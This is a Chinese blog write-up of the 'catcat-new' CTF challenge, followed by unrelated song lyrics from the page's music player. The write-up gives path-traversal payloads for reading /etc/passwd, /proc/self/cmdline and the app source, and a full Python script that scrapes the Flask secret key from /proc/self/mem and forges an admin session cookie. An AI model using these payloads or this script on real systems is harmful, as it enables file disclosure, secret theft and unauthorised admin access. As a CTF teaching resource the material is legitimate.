Always keep a beginner's mind, don't forget |

yuanyy720

园龄:2年11个月粉丝:1关注:2

2023-11-28 21:47阅读: 542评论: 0推荐: 0

catcat-new【目录穿透+特殊文件】

catcat-new【目录穿透+特殊文件】

题目界面

点击任何一只猫猫,发现路径泄露:

解题步骤

  • 测试目录遍历漏洞

    路径: ?file=../../../../etc/passwd

    成功读取到passwd文件:

  • 获取当前启动进程的完整命令

    路径:?file=../../../proc/self/cmdline ,发现有一个app.py文件

    注:大部分python编写的网站脚本都是名为app.py

  • 获取app.py内容

    尝试app.py文件的路径,刚好在当前目录的上一级中:?file=../app.py

    读取到的内容如下:

    更改为易读的标准格式:

    import os
    import uuid
    from flask import Flask, request, session, render_template, Markup
    from cat import cat
    
    flag = ""
    app = Flask(
        __name__,
        static_url_path='/',
        static_folder='static'
    )
    app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
    if os.path.isfile("/flag"):
        flag = cat("/flag")
        os.remove("/flag")
    
    @app.route('/', methods=['GET'])
    def index():
        detailtxt = os.listdir('./details/')
        cats_list = []
        for i in detailtxt:
            cats_list.append(i[:i.index('.')])
    
        return render_template("index.html", cats_list=cats_list, cat=cat)
    
    @app.route('/info', methods=["GET", 'POST'])
    def info():
        filename = "./details/" + request.args.get('file', "")
        start = request.args.get('start', "0")
        end = request.args.get('end', "0")
        name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
    
        return render_template("detail.html", catname=name, info=cat(filename, start, end))
    
    @app.route('/admin', methods=["GET"])
    def admin_can_list_root():
        if session.get('admin') == 1:
            return flag
        else:
            session['admin'] = 0
            return "NoNoNo"
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', debug=False, port=5637)
    

    由脚本知,定义了一个用于管理员权限验证的路由 /admin,只有当会话中的 admin 值为 1 时,才返回flag。否则,将 admin 值设置为 0,并返回字符串 "NoNoNo"。由此知,此处需要伪造session。

  • 伪造session并获取flag

    伪造session的必要条件是获取密钥SECRET_KEY。由app.py知secret key在app(flask对象,存储在堆上)的config属性中的’SECRET_KEY‘键上。

    此处需要借助几个进程文件相互配合获取堆上的SECRET KEY:

    • /proc/self/mem:得到进程的内存内容
    • /proc/self/maps:获取当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

    利用/proc/self/maps的映射信息来确定读的偏移值,通过/proc/self/mem文件读取密钥。

    附上大佬的脚本:

    # coding=utf-8
    # ----------------------------------
    ###################################
    # Edited by lx56@blog.lxscloud.top
    ###################################
    # ----------------------------------
    import requests
    import re
    import ast, sys
    from abc import ABC
    from flask.sessions import SecureCookieSessionInterface
    
    url = "http://61.147.171.105:54072/"
    
    # 此程序只能运行于Python3以上
    if sys.version_info[0] < 3:  # < 3.0
        raise Exception('Must be using at least Python 3')
    
    # ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
    class MockApp(object):
        def __init__(self, secret_key):
            self.secret_key = secret_key
    
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            # Encode a Flask session cookie
            try:
                app = MockApp(secret_key)
    						# 使用 ast.literal_eval 将字符串转换为字典
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
    
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
    
    # -------------------------------------------
    
    # 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
    s_key = ""
    bypass = "../.."
    # 请求file路由进行读取
    map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
    # 获取到的响应文本通过'split("\\n")'按行分割,得到一个包含每行内容的列表'map_list'
    map_list = map_list.text.split("\\n")
    # 遍历每行的内容
    for i in map_list:
        # 匹配指定格式的地址
        map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
        if map_addr:
            start = int(map_addr.group(1), 16)
            end = int(map_addr.group(2), 16)
            print("Found rw addr:", start, "-", end)
    
            # 设置起始和结束位置并读取/proc/self/mem
            res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
            # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
            if "*abcdefgh" in res.text:
                # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
                secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
                if secret_key:
                    print("Secret Key:", secret_key[0])
                    s_key = secret_key[0]
                    break
    
    # 设置session中admin的值为1
    data = '{"admin":1}'
    # 伪造session
    headers = {
        "Cookie": "session=" + FSCM.encode(s_key, data)
    }
    # 请求admin路由
    try:
        flag = requests.get(url + "admin", headers=headers)
        print("Flag is", flag.text)
    except:
        print("Something error")
    

本文作者:yuanyy

本文链接:https://www.cnblogs.com/yuanyy/p/17863169.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   yuanyy720  阅读(542)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 Raindrops (Intl. Version) Katja Krasavice,Leony
  2. 2 Cheap Thrills Sia
Cheap Thrills - Sia
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.

作词 : Sia/Greg Kurstin/Sean Paul Henriques (remix)

作曲 : Sia/Greg Kurstin/Sean Paul Henriques (remix)

Come on, come on

Turn the radio on

It's Friday night and it won't be long

Gotta do my hair

I put my make-up on

It's Friday night and it won't be long

Til I hit the dance floor

Hit the dance floor

I got all I need

No I ain't got cash

No I ain't got cash

But I got you baby

Baby I don't need dollar bills to have fun tonight

(I love cheap thrills)

Baby I don't need dollar bills to have fun tonight

(I love cheap thrills)

But I don't need no money

As long as I can feel the beat

I don't need no money

As long as I keep dancing

Come on, come on

Turn the radio on

It's Saturday and it won't be long

Gotta paint my nails

Put my high heels on

It's Saturday and it won't be long

Til I hit the dance floor

Hit the dance floor

I got all I need

No I ain't got cash

No I ain't got cash

But I got you baby

Baby I don't need dollar bills to have fun tonight

(I love cheap thrills)

Baby I don't need dollar bills to have fun tonight

(I love cheap thrills)

But I don't need no money

As long as I can feel the beat

I don't need no money

As long as I keep dancing

(I love cheap thrills)

(I love cheap thrills)

I don't need no money

As long as I can feel the beat

I don't need no money

As long as I keep dancing

Oh, oh

Baby I don't need dollar bills to have fun tonight

(I love cheap thrills)

Baby I don't need dollar bills to have fun tonight

(I love cheap thrills)

But I don't need no money

As long as I can feel the beat

I don't need no money

As long as I keep dancing

La, la, la, la, la, la

(I love cheap thrills)

La, la, la, la, la, la

(I love cheap thrills)

La, la, la, la, la, la

(I love cheap thrills)

La, la, la, la, la, la

(I love cheap thrills)